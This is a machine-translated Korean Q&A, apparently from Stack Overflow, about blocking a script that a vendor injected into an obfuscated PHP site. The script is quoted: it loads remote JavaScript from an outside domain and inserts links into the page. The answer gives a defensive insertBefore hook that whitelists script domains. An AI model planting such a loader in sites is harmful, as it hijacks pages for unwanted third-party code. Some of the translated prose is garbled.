2012-12-14 3 views
0

(I는 "소스보기"로 그것을보고) 내 웹 사이트 그냥 젠드 가드에 자바 스크립트 코드를 추가 경제력 index.php 파일을 암호화 회사 :.htaccess로 크로스 도메인 자바 스크립트 로딩을 방지하는 방법은 무엇입니까?

(function() 
{ 
    var smrs = document.createElement("script"); 
    smrs.type = "text/javascript"; 
    smrs.async = true; 
    smrs.src = document.location.protocol + "//www.domain.com/file.js"; 
    var s = document.getElementsByTagName("script")[0]; 
    s.parentNode.insertBefore(smrs, s); 
})(); 

는 그것은을 추가 자바 스크립트 코드는 매우 공격적를 주입 이미지 링크를 페이지 하단의 웹 사이트 (SetInterval을 각각 10 초씩 사용)에 연결하십시오.

문제가 있습니까? 현재 현저한 사기 혐의로 기소 된 현지 경쟁사는 CMS와 이미지 링크가 동일합니다.

해당 경쟁자와 관련된 것은 저에게 해롭습니다. .htaccess를 사용하여 "www.domain.com/file.js"로드를 차단하는 방법이 있는지 알고 싶습니다.

감사합니다.

+0

당신은 단지 그것을 제거 할 수 없습니다 코드에서 ? – epascarello

+0

@Quentin : 아무도 내 서버에서 JS를 호출하지 않기 때문에 중복되지 않습니다. –

+0

@epascarello : 코드가 난독 화됩니다. 나는 그것을 편집 할 수 없다. –

답변

2

(htaccess를 사용할 수 없습니다. 이 자바 스크립트는 스크립트 태그를 생성하여 외부 자바 스크립트를로드합니다. 전화는 절대 서버를 통과하지 않습니다. 그래서 아파치 (htaccess)는 그것을 막을 수 없습니다.

가장 쉬운 방법은 소스 코드를 검색하고 스크립트 (액세스 권한이있는 경우)를 제거하는 것입니다.

업데이트 :. 난 당신이 코드는 당신이에 insertbefore 방법에 후크를 만들 수 있습니다 실행되기 전에 여기에있다 (맨 처음에 스크립트를 삽입 할 수있는 경우 스크립트가 ... 암호화를 참조

working fiddle

var ALLOWED_DOMAINS = ['www.klaartjedevoecht.be', 'jsfiddle.net']; 
function creatHook(){ 
    function getDomain(url) { 
     return url.match(/:\/\/(.[^/]+)/)[1]; 
    } 
    var insertBefore = Element.prototype.insertBefore; 
    Element.prototype.insertBefore = function(new_node,existing_node){ 
     if(new_node.tagName.toLowerCase() === 'script' && ALLOWED_DOMAINS.indexOf(getDomain(new_node.src)) > -1){ 
      insertBefore.call(this, new_node, existing_node); 
     } 
    } 
} 
creatHook(); 

//TESTING CODE: 

var smrs = document.createElement("script"); 
    smrs.type = "text/javascript"; 
    smrs.async = true; 
    smrs.src = document.location.protocol + "//www.klaartjedevoecht.be/test.js"; 

//var smrs = document.createElement("img"); 
// smrs.src= "http://img52.imageshack.us/img52/7653/beaverl.gif"; 

var s = document.getElementsByTagName("div")[0]; 
    s.parentNode.insertBefore(smrs, s); 

나는 그것이 약간 해킹의 동의하지만 최소한의 청소기 타이머 솔루션을 제공합니다. 당신이 그것을 제거 할 수없는 경우, 깨끗한 해결책이 없습니다.

관련 문제